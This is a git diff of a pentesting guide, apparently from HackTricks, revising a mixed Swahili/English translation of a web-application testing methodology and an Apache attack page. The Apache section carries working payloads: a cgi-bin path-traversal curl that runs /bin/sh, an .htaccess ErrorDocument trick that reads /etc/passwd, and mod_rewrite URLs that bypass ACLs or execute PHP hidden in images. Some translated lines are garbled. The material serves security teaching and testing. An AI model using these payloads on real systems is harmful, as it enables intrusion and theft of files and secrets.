checklist](../../pentesting-web/web-vulnerabilities-methodology.md) -## Toleo la Server (Je, lina udhaifu?) +## Server Version (Je lina udhaifu?) ### Tambua -Angalia kama kuna **known vulnerabilities** kwa server **toleo** linaloendesha.\ -**HTTP headers and cookies of the response** zinaweza kuwa muhimu sana kutambua **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kubaini server toleo, lakini pia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb)**,** [**webtech** ](https://github.com/ShielderSec/webtech)au [**https://builtwith.com/**](https://builtwith.com)**:** +Angalia kama kuna **udhaifu unaojulikana** kwa **toleo** la server linaloendesha.\ +Vichwa vya **HTTP** na **cookies** za majibu vinaweza kuwa vya msaada mkubwa kutambua **teknolojia** na/au **toleo** linalotumika. **Nmap scan** inaweza kutambua toleo la server, lakini pia zana [**whatweb**](https://github.com/urbanadventurer/WhatWeb), [**webtech**](https://github.com/ShielderSec/webtech) au [**https://builtwith.com/**](https://builtwith.com) zinaweza kuwa za msaada: ```bash whatweb -a 1 #Stealthy whatweb -a 3 #Aggresive webtech -u webanalyze -host https://google.com -crawl 2 ``` -Tafuta **for** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) +Tafuta **kwa** [**vulnerabilities of the web application** **version**](../../generic-hacking/search-exploits.md) ### **Angalia kama kuna WAF** @@ -63,9 +63,9 @@ Tafuta **for** [**vulnerabilities of the web application** **version**](../../ge - [**https://github.com/Ekultek/WhatWaf.git**](https://github.com/Ekultek/WhatWaf.git) - [**https://nmap.org/nsedoc/scripts/http-waf-detect.html**](https://nmap.org/nsedoc/scripts/http-waf-detect.html) -### Mbinu za teknolojia za wavuti +### Mbinu za teknolojia za Web -Baadhi ya **tricks** za **finding vulnerabilities** katika teknolojia mbalimbali zinazojulikana zinazotumika: +Baadhi ya **mbinu** za **kutafuta udhaifu** katika **teknolojia** mbalimbali zinazotumika: - [**AEM - Adobe Experience Cloud**](aem-adobe-experience-cloud.md) - [**Apache**](apache.md) @@ -101,28 +101,27 @@ Baadhi ya **tricks** za **finding vulnerabilities** katika teknolojia mbalimbali - [**Wordpress**](wordpress.md) - [**Electron Desktop (XSS to RCE)**](electron-desktop-apps/index.html) -_Kumbuka kwamba the **same domain** inaweza kutumia **different technologies** katika tofauti **ports**, **folders** na **subdomains**._\ -Kama web application inatumia **tech/platform listed before** au **any other**, usisahau **kutafuta mtandaoni** mbinu mpya (na nijulishe!). +_Tafadhali zingatia kwamba **domeni ile ile** inaweza kutumia **teknolojia tofauti** katika **bandari**, **folda** na **subdomains** tofauti._\ +Ikiwa programu ya wavuti inatumia **tech/platform** yoyote iliyotajwa hapo juu au **nyingine yoyote**, usisahau **kutafuta mtandaoni** mbinu mpya (na nijulishe!). -### Mapitio ya Source Code +### Ukaguzi wa Source Code -Ikiwa **source code** ya application inapatikana kwenye **github**, mbali na wewe kufanya mwenyewe **White box test** ya application, kuna **some information** ambazo zinaweza kuwa **useful** kwa **Black-Box testing** inayofanywa sasa: - -- Je, kuna **Change-log or Readme or Version** file au kitu chochote chenye **version info accessible** via web? -- Je, **credentials** zimehifadhiwa vipi na wapi? Kuna (inayopatikana?) **file** yenye credentials (usernames au passwords)? -- Je, **passwords** ziko kwa **plain text**, **encrypted** au ni gani **hashing algorithm** inayotumika? -- Je, inatumia **master key** kwa ku-encrypt kitu? Ni **algorithm** gani inayotumika? -- Je, unaweza **access any of these files** kwa kutumia vulnerability fulani? -- Je, kuna **interesting information in the github** (solved and not solved) **issues**? Au katika **commit history** (labda some **password introduced inside an old commit**)? +Ikiwa **source code** ya programu inapatikana kwenye **github**, mbali na kufanya mwenyewe **White box test** ya programu, kuna **taarifa** ambazo zinaweza kuwa **zitumike** kwa ajili ya sasa ya **Black-Box testing**: +- Je, kuna faili ya **Change-log or Readme or Version** au kitu chochote chenye **version info accessible** kupitia wavuti? +- Je, vipi na wapi zinahifadhiwa **credentials**? Je, kuna faili (inayopatikana?) yenye **credentials** (majina ya watumiaji au passwords)? +- Je, passwords ziko kwa **plain text**, **encrypted**, au ni algorithm gani ya **hashing** inayotumika? +- Je, inatumia **master key** yoyote kwa **encrypting** kitu? Ni **algorithm** gani inayotumika? +- Je, unaweza kufikia faili zozote kati ya hizi kwa **exploiting** udhaifu wowote? +- Je, kuna taarifa za kuvutia kwenye **github** (issues zilizotatuliwa na zisizotatuliwa)? Au katika **commit history** (labda password ilizingirwa ndani ya commit ya zamani)? {{#ref}} code-review-tools.md {{#endref}} -### Skana za otomatiki +### Automatic scanners -#### Skana za otomatiki za madhumuni ya jumla +#### General purpose automatic scanners ```bash nikto -h whatweb -a 4 @@ -136,7 +135,7 @@ node puff.js -w ./wordlist-examples/xss.txt -u "http://www.xssgame.com/f/m4KKGHi ``` #### Vichunguzi vya CMS -Ikiwa CMS inatumiwa usisahau **kuendesha skana**, labda utapata kitu kitamu: +Ikiwa CMS inatumiwa usisahau **kukimbiza skana**, huenda ikapatikana kitu cha kuvutia: [**Clusterd**](https://github.com/hatRiot/clusterd)**:** [**JBoss**](jboss.md)**, ColdFusion, WebLogic,** [**Tomcat**](tomcat/index.html)**, Railo, Axis2, Glassfish**\ [**CMSScan**](https://github.com/ajinabraham/CMSScan): [**WordPress**](wordpress.md), [**Drupal**](drupal/index.html), **Joomla**, **vBulletin** tovuti kwa masuala ya usalama. (GUI)\ @@ -149,13 +148,13 @@ wpscan --force update -e --url joomscan --ec -u joomlavs.rb #https://github.com/rastating/joomlavs ``` -> Kwa hatua hii unapaswa tayari kuwa na baadhi ya taarifa za web server inayotumiwa na mteja (ikiwa data yoyote imetolewa) na baadhi ya mbinu za kuzingatia wakati wa mtihani. Ikiwa una bahati umebaini hata CMS na kukimbia scanner. +> Kwa wakati huu unapaswa tayari kuwa na baadhi ya habari kuhusu web server inayotumiwa na mteja (ikiwa data yoyote imetolewa) na mbinu za kuzingatia wakati wa mtihani. Ikiwa una bahati, umeweza hata kugundua CMS na kuendesha scanner. -## Hatua kwa hatua za ugunduzi wa Web Application +## Ugunduzi wa Web Application Hatua kwa Hatua -> Kuanzia sasa tutaanza kuingiliana na web application. +> Tangu hapa tutaanza kuingiliana na web application. -### Uchunguzi wa awali +### Ukaguzi wa awali **Kurasa za default zenye taarifa za kuvutia:** @@ -164,30 +163,30 @@ joomlavs.rb #https://github.com/rastating/joomlavs - /crossdomain.xml - /clientaccesspolicy.xml - /.well-known/ -- Angalia pia maoni kwenye kurasa kuu na za pili. +- Angalia pia maoni (comments) kwenye kurasa kuu na za sekondari. -**Kulazimisha makosa** +**Kusababisha makosa** -Web servers zinaweza **kutenda kinyume cha kawaida** wakati data ya kushangaza inapotumwa kwao. Hii inaweza kufungua **vulnerabilities** au kusababisha **disclosure** ya taarifa nyeti. +Web servers zinaweza **kutenda kwa njia isiyotab predictable** wakati data isiyo ya kawaida inapotumwa kwao. Hii inaweza kufungua **tadhaa** au **kufichua taarifa nyeti**. -- Access **fake pages** like /whatever_fake.php (.aspx,.html,.etc) -- **Add "\[]", "]]", and "\[\["** in **cookie values** and **parameter** values to create errors -- Generate error by giving input as **`/~randomthing/%s`** at the **end** of **URL** -- Try **different HTTP Verbs** like PATCH, DEBUG or wrong like FAKE +- Fikia **kurasa za uongo** kama /whatever_fake.php (.aspx,.html,.etc) +- **Ongeza "\[]", "]]", and "\[\["** katika **cookie values** na **parameter** values ili kuunda makosa +- Tengeneza kosa kwa kutoa input kama **`/~randomthing/%s`** mwishoni mwa **URL** +- Jaribu **HTTP Verbs** tofauti kama PATCH, DEBUG au zenye makosa kama FAKE -#### **Check if you can upload files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** +#### **Angalia kama unaweza kupakia files (**[**PUT verb, WebDav**](put-method-webdav.md)**)** -If you find that **WebDav** is **enabled** but you don't have enough permissions for **uploading files** in the root folder try to: +Kama utagundua kuwa **WebDav** iko **imewezeshwa** lakini huna ruhusa za kutosha za **kupakia files** kwenye folder la root jaribu: - **Brute Force** credentials -- **Upload files** via WebDav to the **rest** of **found folders** inside the web page. You may have permissions to upload files in other folders. +- **Upload files** kupitia WebDav kwenye **sehemu zilizobaki** za **found folders** ndani ya ukurasa wa wavuti. Huenda una ruhusa za kupakia files katika folda nyingine. ### **SSL/TLS vulnerabilites** -- If the application **isn't forcing the user of HTTPS** in any part, then it's **vulnerable to MitM** -- If the application is **sending sensitive data (passwords) using HTTP**. Then it's a high vulnerability. +- Ikiwa application **hainatii matumizi ya HTTPS** katika sehemu yoyote, basi iko **hatarini kwa MitM** +- Ikiwa application inatuma data nyeti (passwords) kutumia HTTP. Hii ni hatari kubwa. -Use [**testssl.sh**](https://github.com/drwetter/testssl.sh) to checks for **vulnerabilities** (In Bug Bounty programs probably these kind of vulnerabilities won't be accepted) and use [**a2sv** ](https://github.com/hahwul/a2sv)to recheck the vulnerabilities: +Tumia [**testssl.sh**](https://github.com/drwetter/testssl.sh) kukagua **vulnerabilities** (Katika programu za Bug Bounty labda aina hizi za vulnerabilities hazitakubaliwa) na tumia [**a2sv**](https://github.com/hahwul/a2sv) kwa kukagua tena vulnerabilities: ```bash ./testssl.sh [--htmlfile] 10.10.10.10:443 #Use the --htmlfile to save the output inside an htmlfile also @@ -203,7 +202,7 @@ Information about SSL/TLS vulnerabilities: ### Spidering -Anzisha aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata njia nyingi iwezekanavyo** kutoka kwa application inayojaribiwa. Kwa hiyo, web crawling na vyanzo vya nje vinapaswa kutumika ili kupata njia nyingi halali iwezekanavyo. +Launch some kind of **spider** inside the web. The goal of the spider is to **find as much paths as possible** from the tested application. Therefore, web crawling and external sources should be used to find as much valid paths as possible. - [**gospider**](https://github.com/jaeles-project/gospider) (go): HTML spider, LinkFinder in JS files and external sources (Archive.org, CommonCrawl.org, VirusTotal.com, AlienVault.com). - [**hakrawler**](https://github.com/hakluke/hakrawler) (go): HML spider, with LinkFider for JS files and Archive.org as external source. @@ -235,7 +234,7 @@ Anzisha aina fulani ya **spider** ndani ya wavuti. Lengo la spider ni **kupata n ### Brute Force directories and files -Anza **brute-forcing** kutoka kwenye folda ya root na hakikisha unafanya **brute-force** kwa **direktori zote zilizopatikana** ukitumia **hii method** na direktorisi zote **zilizoonekana** kwa **Spidering** (unaweza kufanya brute-forcing **kikamilifu** na kuongeza mwanzoni mwa wordlist iliyotumika majina ya direktorisi zilizopatikana).\ +Start **brute-forcing** from the root folder and be sure to brute-force **all** the **directories found** using **this method** and all the directories **discovered** by the **Spidering** (you can do this brute-forcing **recursively** and appending at the beginning of the used wordlist the names of the found directories).\ Tools: - **Dirb** / **Dirbuster** - Included in Kali, **old** (and **slow**) but functional. Allow auto-signed certificates and recursive search. Too slow compared with th other options. @@ -268,41 +267,41 @@ Tools: - _/usr/share/wordlists/dirb/big.txt_ - _/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt_ -_Kumbuka kwamba kila wakati direktorisi mpya inapogunduliwa wakati wa brute-forcing au spidering, inapaswa kufanyiwa Brute-Forced._ +_Note that anytime a new directory is discovered during brute-forcing or spidering, it should be Brute-Forced._ ### What to check on each file found - [**Broken link checker**](https://github.com/stevenvachon/broken-link-checker): Find broken links inside HTMLs that may be prone to takeovers -- **File Backups**: Mara utakapopata faili zote, tafuta backups za faili zote za executable ("_.php_", "_.aspx_"...). Mabadiliko ya kawaida ya majina ya backup ni: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ Unaweza pia kutumia tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** -- **Discover new parameters**: Unaweza kutumia tools kama [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **kugundua parameters zilizofichwa. Ikiwa utaweza, jaribu kutafuta** hidden parameters kwenye kila executable web file. +- **File Backups**: Once you have found all the files, look for backups of all the executable files ("_.php_", "_.aspx_"...). Common variations for naming a backup are: _file.ext\~, #file.ext#, \~file.ext, file.ext.bak, file.ext.tmp, file.ext.old, file.bak, file.tmp and file.old._ You can also use the tool [**bfac**](https://github.com/mazen160/bfac) **or** [**backup-gen**](https://github.com/Nishantbhagat57/backup-gen)**.** +- **Discover new parameters**: You can use tools like [**Arjun**](https://github.com/s0md3v/Arjun)**,** [**parameth**](https://github.com/maK-/parameth)**,** [**x8**](https://github.com/sh1yo/x8) **and** [**Param Miner**](https://github.com/PortSwigger/param-miner) **to discover hidden parameters. If you can, you could try to search** hidden parameters on each executable web file. - _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db) - _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params) - _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io) - _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773) -- **Comments:** Angalia comments za faili zote, unaweza kupata **credentials** au **hidden functionality**. -- If you are playing **CTF**, ujanja "wa kawaida" ni ku**ficha** **taarifa** ndani ya comments upande wa **kulia** wa **ukurasa** (kwa kutumia **mamia** ya **spaces** hivyo huwezi kuona data ikiwa utafungua source code kwa browser). Mwingine uwezekano ni kutumia **several new lines** na **kuhifadhi taarifa** kwenye comment mwishoni mwa ukurasa wa wavuti. -- **API keys**: Ikiwa **unapata API key** kuna mwongozo unaoelezea jinsi ya kutumia API keys za platforms mbalimbali: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) -- Google API keys: Ikiwa unapata API key inayofanana na **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik unaweza kutumia project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) kuona ni APIs gani key inaweza kupata. -- **S3 Buckets**: Wakati wa spidering angalia kama subdomain yoyote au link yoyote ina uhusiano na S3 bucket. Katika hili, [**angalia** the **permissions** of the bucket](buckets/index.html). +- **Comments:** Check the comments of all the files, you can find **credentials** or **hidden functionality**. +- If you are playing **CTF**, a "common" trick is to **hide** **information** inside comments at the **right** of the **page** (using **hundreds** of **spaces** so you don't see the data if you open the source code with the browser). Other possibility is to use **several new lines** and **hide information** in a comment at the **bottom** of the web page. +- **API keys**: If you **find any API key** there is guide that indicates how to use API keys of different platforms: [**keyhacks**](https://github.com/streaak/keyhacks)**,** [**zile**](https://github.com/xyele/zile.git)**,** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**,** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**,** [**RegHex**]()**,** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**,** [**EarlyBird**](https://github.com/americanexpress/earlybird) +- Google API keys: If you find any API key looking like **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjik you can use the project [**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) to check which apis the key can access. +- **S3 Buckets**: While spidering look if any **subdomain** or any **link** is related with some **S3 bucket**. In that case, [**check** the **permissions** of the bucket](buckets/index.html). ### Special findings -**Wakati wa** kufanya **spidering** na **brute-forcing** unaweza kupata vitu **vichangamsha** ambavyo unapaswa **kutambua**. +**While** performing the **spidering** and **brute-forcing** you could find **interesting** **things** that you have to **notice**. **Interesting files** -- Tafuta **links** za faili nyingine ndani ya **CSS** files. +- Look for **links** to other files inside the **CSS** files. - [If you find a _**.git**_ file some information can be extracted](git.md) -- Ikiwa unapata _**.env**_ unaweza kupata taarifa kama api keys, dbs passwords na taarifa nyingine. -- Ikiwa unapata **API endpoints** unapaswa [pia kuzijaribu](web-api-pentesting.md). Hizi si faili, lakini kwa kawaida "zinaweza kuonekana" kama faili. -- **JS files**: Katika sehemu ya spidering zimetajwa tools kadhaa ambazo zinaweza kutoa paths kutoka kwa JS files. Pia, itakuwa muhimu **kuangalia kila JS file uliyoipata**, kwani wakati mwingine, mabadiliko yanaweza kuashiria kwamba ranakuwepo vulnerability mpya kwenye code. Unaweza kutumia mfano [**JSMon**](https://github.com/robre/jsmon)**.** -- Unapaswa pia kukagua JS files zilizogunduliwa kwa kutumia [**RetireJS**](https://github.com/retirejs/retire.js/) au [**JSHole**](https://github.com/callforpapers-source/jshole) kuona kama zina vulnerabilities. +- If you find a _**.env**_ information such as api keys, dbs passwords and other information can be found. +- If you find **API endpoints** you [should also test them](web-api-pentesting.md). These aren't files, but will probably "look like" them. +- **JS files**: In the spidering section several tools that can extract path from JS files were mentioned. Also, It would be interesting to **monitor each JS file found**, as in some ocations, a change may indicate that a potential vulnerability was introduced in the code. You could use for example [**JSMon**](https://github.com/robre/jsmon)**.** +- You should also check discovered JS files with [**RetireJS**](https://github.com/retirejs/retire.js/) or [**JSHole**](https://github.com/callforpapers-source/jshole) to find if it's vulnerable. - **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator) - **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org) - **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/)) - [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.` -- Katika matukio mengi, utahitaji **kuelewa regular expressions** zinazotumika. Hii itakuwa ya msaada: [https://regex101.com/](https://regex101.com) au [https://pythonium.net/regex](https://pythonium.net/regex) -- Pia unaweza **kuangalia files ambazo ziligunduliwa kuwa zina forms**, kwani mabadiliko kwenye parameter au kuonekana kwa form mpya kunaweza kuashiria functionality mpya yenye hatari. +- On several occasions, you will need to **understand the regular expressions** used. This will be useful: [https://regex101.com/](https://regex101.com) or [https://pythonium.net/regex](https://pythonium.net/regex) +- You could also **monitor the files were forms were detected**, as a change in the parameter or the apearance f a new form may indicate a potential new vulnerable functionality. **403 Forbidden/Basic Authentication/401 Unauthorized (bypass)** @@ -313,21 +312,21 @@ _Kumbuka kwamba kila wakati direktorisi mpya inapogunduliwa wakati wa brute-forc **502 Proxy Error** -Kama ukurasa wowote **unareact** kwa hiyo **code**, inawezekana kuwa ni **proxy iliyo misconfigured mbaya**. **Kama utatuma request ya HTTP kama: `GET https://google.com HTTP/1.1`** (ikiwa na host header na headers nyingine za kawaida), **proxy** itajaribu **kupata** _**google.com**_ **na utakuwa umepata** SSRF. +If any page **responds** with that **code**, it's probably a **bad configured proxy**. **If you send a HTTP request like: `GET https://google.com HTTP/1.1`** (with the host header and other common headers), the **proxy** will try to **access** _**google.com**_ **and you will have found a** SSRF. **NTLM Authentication - Info disclosure** -Ikiwa server inayouliza authentication ni **Windows** au unapata login inayounga mkono **credentials** zako (na kuuliza **domain** **name**), unaweza kusababisha **info disclosure**.\ -**Tuma** **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` na kutokana na jinsi **NTLM authentication inavyofanya kazi**, server itajibu kwa info za ndani (toleo la IIS, toleo la Windows...) ndani ya header "WWW-Authenticate".\ -Unaweza **kuendesha hii kwa automation** kwa kutumia **nmap plugin** "_http-ntlm-info.nse_". +If the running server asking for authentication is **Windows** or you find a login asking for your **credentials** (and asking for **domain** **name**), you can provoke an **information disclosure**.\ +**Send** the **header**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` and due to how the **NTLM authentication works**, the server will respond with internal info (IIS version, Windows version...) inside the header "WWW-Authenticate".\ +You can **automate** this using the **nmap plugin** "_http-ntlm-info.nse_". **HTTP Redirect (CTF)** -Inawezekana **kuweka content** ndani ya **Redirection**. Content hii **haitaonyeshwa kwa mtumiaji** (kwa sababu browser itafanya redirect) lakini kuna kitu kinaweza kuwa **kimefichwa** ndani yake. +It is possible to **put content** inside a **Redirection**. This content **won't be shown to the user** (as the browser will execute the redirection) but something could be **hidden** in there. ### Web Vulnerabilities Checking -Sasa baada ya kufanya enumeration kamili ya web application ni wakati wa kuangalia aina nyingi za possible vulnerabilities. Unaweza kupata checklist hapa: +Now that a comprehensive enumeration of the web application has been performed it's time to check for a lot of possible vulnerabilities. You can find the checklist here: {{#ref}} @@ -342,7 +341,7 @@ Find more info about web vulns in: ### Monitor Pages for changes -Unaweza kutumia tools kama [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) kufuatilia kurasa kwa mabadiliko ambayo yanaweza kuingiza vulnerabilities. +You can use tools such as [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) to monitor pages for modifications that might insert vulnerabilities. ### HackTricks Automatic Commands ``` diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md index 84ac8ce90..cb0a8f137 100644 --- a/src/network-services-pentesting/pentesting-web/apache.md +++ b/src/network-services-pentesting/pentesting-web/apache.md @@ -2,13 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -## Viendelezo vya PHP vinavyoweza kutekelezwa +## Extensions za PHP zinazotekelezwa -Angalia ni viendelezo gani vinavyotekelezwa na seva ya Apache. Ili kutafuta, unaweza kutekeleza: +Angalia ni PHP extensions zipi zinazoendeshwa na server ya Apache. Kutafuta hizo unaweza kuendesha: ```bash grep -R -B1 "httpd-php" /etc/apache2 ``` -Pia, baadhi ya maeneo ambapo unaweza kupata usanidi huu ni: +Pia, baadhi ya maeneo ambako unaweza kupata usanidi huu ni: ```bash /etc/apache2/mods-available/php5.conf /etc/apache2/mods-enabled/php5.conf @@ -21,14 +21,14 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con uid=1(daemon) gid=1(daemon) groups=1(daemon) Linux ``` -## LFI kwa kutumia .htaccess ErrorDocument file provider (ap_expr) +## LFI kupitia .htaccess ErrorDocument mtoa faili (ap_expr) -Iwapo unaweza kudhibiti .htaccess ya saraka na AllowOverride inajumuisha FileInfo kwa njia hiyo, unaweza kubadilisha majibu ya 404 kuwa kusoma mafaili ya ndani kwa hiari kwa kutumia function file() ya ap_expr ndani ya ErrorDocument. +Ikiwa unaweza kudhibiti .htaccess ya saraka na AllowOverride inajumuisha FileInfo kwa njia hiyo, unaweza kubadilisha majibu ya 404 kuwa kusoma faili za ndani kwa kadri unavyotaka kwa kutumia ap_expr file() function ndani ya ErrorDocument. - Mahitaji: - Apache 2.4 na expression parser (ap_expr) imewezeshwa (chaguo-msingi katika 2.4). -- vhost/dir inapaswa kuruhusu .htaccess kuweka ErrorDocument (AllowOverride FileInfo). -- mtumiaji wa worker wa Apache lazima awe na ruhusa za kusoma kwenye faili lengwa. +- The vhost/dir must allow .htaccess to set ErrorDocument (AllowOverride FileInfo). +- Mtumiaji wa worker wa Apache lazima awe na ruhusa za kusoma kwenye faili lengwa. .htaccess payload: ```apache @@ -37,31 +37,31 @@ Header always set X-Debug-Tenant "demo" # On any 404 under this directory, return the contents of an absolute filesystem path ErrorDocument 404 %{file:/etc/passwd} ``` -Chochea kwa kuomba njia yoyote isiyokuwepo chini ya saraka hiyo, kwa mfano unapotumia vibaya userdir-style hosting: +Sababisha kwa kuomba njia yoyote isiyokuwepo chini ya saraka hiyo, kwa mfano ukitumia vibaya userdir-style hosting: ```bash curl -s http://target/~user/does-not-exist | sed -n '1,20p' ``` Vidokezo na ushauri: -- Njia kamili pekee ndizo zinazofanya kazi. Yaliyomo yatarudishwa kama mwili wa jibu kwa handler ya 404. -- Idhini za kusoma zinazofanya kazi ni zile za mtumiaji wa Apache (kwa kawaida www-data/apache). Hutaweza kusoma /root/* au /etc/shadow katika usanidi wa chaguomsingi. -- Hata kama .htaccess ni milki ya root, ikiwa saraka ya mzazi inamilikiwa na tenant na inaruhusu rename, unaweza kufanikiwa kubadilisha jina la .htaccess ya awali na kupakia toleo lako kupitia SFTP/FTP: +- Njia kamili pekee ndizo zinafanya kazi. Yaliyomo yanarudishwa kama mwili wa jibu kwa 404 handler. +- Ruhusa za kusoma zinazotumika ni za mtumiaji wa Apache (kwa kawaida www-data/apache). Hautasoma /root/* au /etc/shadow katika mipangilio ya default. +- Hata kama .htaccess inamilikiwa na root, ikiwa saraka mzazi inamilikiwa na tenant na inaruhusu rename, huenda ukaweza kurejina .htaccess asilia na kupakia toleo lako mbadala kupitia SFTP/FTP: - rename .htaccess .htaccess.bk - put your malicious .htaccess -- Tumia hili kusoma chanzo cha application chini ya DocumentRoot au vhost config paths ili kuvuna siri (DB creds, API keys, etc.). +- Tumia hili kusoma application source chini ya DocumentRoot au vhost config paths ili kuvuna siri (DB creds, API keys, etc.). ## Confusion Attack -Aina hizi za mashambulizi zilitangazwa na kurekodiwa [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) na yafuatayo ni muhtasari. Shambulizi la "confusion" kwa msingi linatumia jinsi modules nyingi zinazofanya kazi pamoja kuunda Apache hazifanyi kazi kwa usawazishwaji kamili; kufanya baadhi yao kubadilisha data isiyotegemewa kunaweza kusababisha udhaifu katika module inayofuata. +Aina hizi za mashambulizi zimetangazwa na kuandikwa [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) na yafuatayo ni muhtasari. Shambulizi la "confusion" kimsingi linatumia jinsi moduli nyingi zinazofanya kazi pamoja kuunda Apache hazifanyi kazi kwa usawazishaji kamili; kufanya baadhi yao kubadili data isiyotegemewa kunaweza kusababisha udhaifu katika moduli inayofuata. ### Filename Confusion #### Truncation -The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Lakini wakati mwingine itachukuliwa kama file path, jambo ambalo litasababisha tatizo. +The **`mod_rewrite`** will trim the content of `r->filename` after the character `?` ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). This isn't totally wrong as most modules will treat `r->filename` as an URL. Lakini katika matukio mengine hii itachukuliwa kama file path, ambayo inaweza kusababisha tatizo. - **Path Truncation** -Niwezekana kutumiwa `mod_rewrite` kama katika mfano wa sheria ufuatao kufikia faili nyingine ndani ya mfumo wa faili, kwa kuondoa sehemu ya mwisho ya njia iliyotarajiwa kwa kuongeza tu `?`: +Inawezekana kutumia vibaya `mod_rewrite` kama katika mfano wa rule ufuatao kufikia faili nyingine ndani ya file system, kwa kuondoa sehemu ya mwisho ya path inayotarajiwa kwa kuongeza tu `?`: ```bash RewriteEngine On RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml" @@ -74,9 +74,9 @@ curl http://server/user/orange curl http://server/user/orange%2Fsecret.yml%3F # the output of file `/var/user/orange/secret.yml` ``` -- **Uteuzi wa RewriteFlag wa Kuwadanganya** +- **Mislead RewriteFlag Assignment** -Katika rewrite rule ifuatayo, mradi URL itakapomalizika kwa .php itatibiwa na kutekelezwa kama php. Kwa hivyo, inawezekana kutuma URL inayomalizika kwa .php baada ya `?` huku ikipakia kwenye path aina tofauti ya faili (kama picha) yenye msimbo wa php wenye madhara ndani yake: +Katika rewrite rule ifuatayo, mradi tu URL inaishie na .php itachukuliwa na kutekelezwa kama php. Kwa hivyo, inawezekana kutuma URL inayomalizika na .php baada ya `?` wakati ukipakia kwenye path faili ya aina tofauti (kama picha) yenye php code yenye madhara ndani yake: ```bash RewriteEngine On RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php] @@ -91,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php ``` #### **ACL Bypass** -Inawezekana kupata faili ambazo mtumiaji haipaswi kupata, hata kama ufikiaji unapaswa kukataliwa kwa usanidi kama: +Inawezekana kufikia faili ambazo mtumiaji hapaswi kuweza kuzipata hata kama ufikiaji unapaswa kukataliwa kwa usanidi kama: ```xml AuthType Basic @@ -100,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd" Require valid-user ``` -Kwa sababu kwa chaguo-msingi PHP-FPM itapokea URLs zinazomalizika na `.php`, kama `http://server/admin.php%3Fooo.php`, na kwa sababu PHP-FPM itaondoa chochote baada ya alama `?`, URL hapo juu itaruhusu kupakia `/admin.php` hata kama sheria iliyotangulia ilizuia. +Kwa sababu kwa chaguo-msingi PHP-FPM itapokea URLs zinazomalizika kwa `.php`, kama `http://server/admin.php%3Fooo.php` na kwa sababu PHP-FPM itaondoa chochote baada ya tabia `?`, URL ya hapo juu itaruhusu kupakia `/admin.php` hata kama sheria iliyotangulia ilizizuia. -### DocumentRoot Kuchanganyikiwa +### Mkanganyiko wa DocumentRoot ```bash DocumentRoot /var/www/html RewriteRule ^/html/(.*)$ /$1.html ``` -Jambo la kufurahisha kuhusu Apache ni kwamba rewrite iliyopita itajaribu kufikia faili kutoka kwa documentRoot na kutoka root. Kwa hivyo, ombi la `https://server/abouth.html` litatafuta 